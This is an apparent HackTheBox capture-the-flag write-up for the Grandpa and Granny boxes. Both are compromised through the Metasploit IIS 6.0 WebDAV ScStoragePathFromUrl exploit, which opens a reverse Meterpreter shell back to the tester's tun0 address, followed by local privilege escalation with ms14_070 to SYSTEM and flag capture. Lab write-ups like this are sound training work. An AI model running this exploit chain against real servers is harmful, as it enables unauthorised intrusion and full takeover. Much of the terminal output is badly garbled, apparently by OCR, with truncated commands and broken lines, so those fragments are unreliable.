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HTB Dedicated Box 11 - Grandpa and Granny

Grandpa
1. Nmap shows that only HTTP is available. It's running IIS 6.0.

root@host:deltad nmap -sV -T4 -p- 18.
Starting Nmap 7.92 ( https://nmap.org
95.

wn: 65534 filtered tcp ports [no
STATE SERVICE VERSII
en http Micre t IIS httpd b
5- Windows; CPE: ‘0 :mi

detection performed. P1 any 1i results at https [/submit/

p
Nmap done: 1 IP address (1 host up)
root@host:delta$ ||

[8/422]
normal No Microsof S HTTP Internal IP Dis

ent_redirect good ) Mic f § ISA gent R

10_query 208 good Yes Microsof S ISAPI wlwho.dll Quer
5/11s 1 v_upload_asp excellent No Mic
5/11s_webdav oragepathfromurl 20 6 manual Yes Mic
normal Mic

normal No Outlook Web App (O
1lent Yes Rockwell FactoryTalk View
Sitecore Experience Platform (XP)
excellent No Umbraco CMS Remote Command Executi

normal No Windows IIS HTTP Protocol S

act with a module by name or index. For example info 33, X1 0 http/http_ ept_encoding_dos_c _31166

windows/iis/iis_webdav_scstoragepathfromurl) et rhosts 18.129
9.227.41
windows/iis/iis_webdav_scstoragepathfromurl) > set lhost tunf

> run

41:1030 ) at B4 17:52:41 -8708




4. Run the local exploit suggester to find privesc vectors.

_exploit_suggester
ndows

e is running, but could not be validated

ppr_flatten_rec: The target appears

meterpreter >

payl
dows/local/ms1s_B70_t

1s "C:\Documen
uments and 5

Administrator
dir
dir
dir
dir
dir

9359e985a2c35
meterpreter




flag submitted.
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9. Root flag submitted.
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Granny
1. Just like the previous box, we have HTTP on IIS 6.0.

root@host:delta$ nmap -sV -Tk -p- 18. .
Starting Nmap 7.92 ( http 'nmap.org ) a ) L 18:36 PDT
Nmap scan ort for 18.1 Z
Host is up ).
wn: 65534 filtered tcp ports (no-response)
STATE SERVICE VERS
en http Micr t IIS httpd 6.0
Info: Windows; CPE: cpe: microsoft:windows

ice detection performed. Please report any incorrect results at htt
Nmap done: 1 IP addres ined 1in
rootBhost:delta$ ||

d configured, de ult{ns indo eIpr
oit(windows/iis/iis_webdav_scstoragepathfromurl)

set lhost tun@
> Tun

andler on 10.10.14.41
9

44:1030 ) at

meterpreter > run p

10
18
18
18
18
18
18

)

4. Run tasklist to find a process to migrate to. I'll use davcdata again.




5. | tried some of the other exploits, but the one | used on Grandpa was the
only one that worked for me. An exploit so nice | used it twice.

g s
(windows/iis/iis_webdav_scstoragepathfromurl) > back
wind [ 1
ng configured d winc preter
yloit(windows/local/ms14_878_tcpip_ioctl)

oitation...

rting interaction with 2..

rpreter > getuid
yer username: NT AUTHO

6. Got the flags. Interestingly, SYSTEM privs don’t carry over to the shell.
Have to use the Meterpreter prompt itself.
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denied




7. User flag submitted.
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8. Root flag submitted. Done! These boxes were really similar. I'm not quite
sure why HackTheBox would do a rerun like that, but good practice, anyway.
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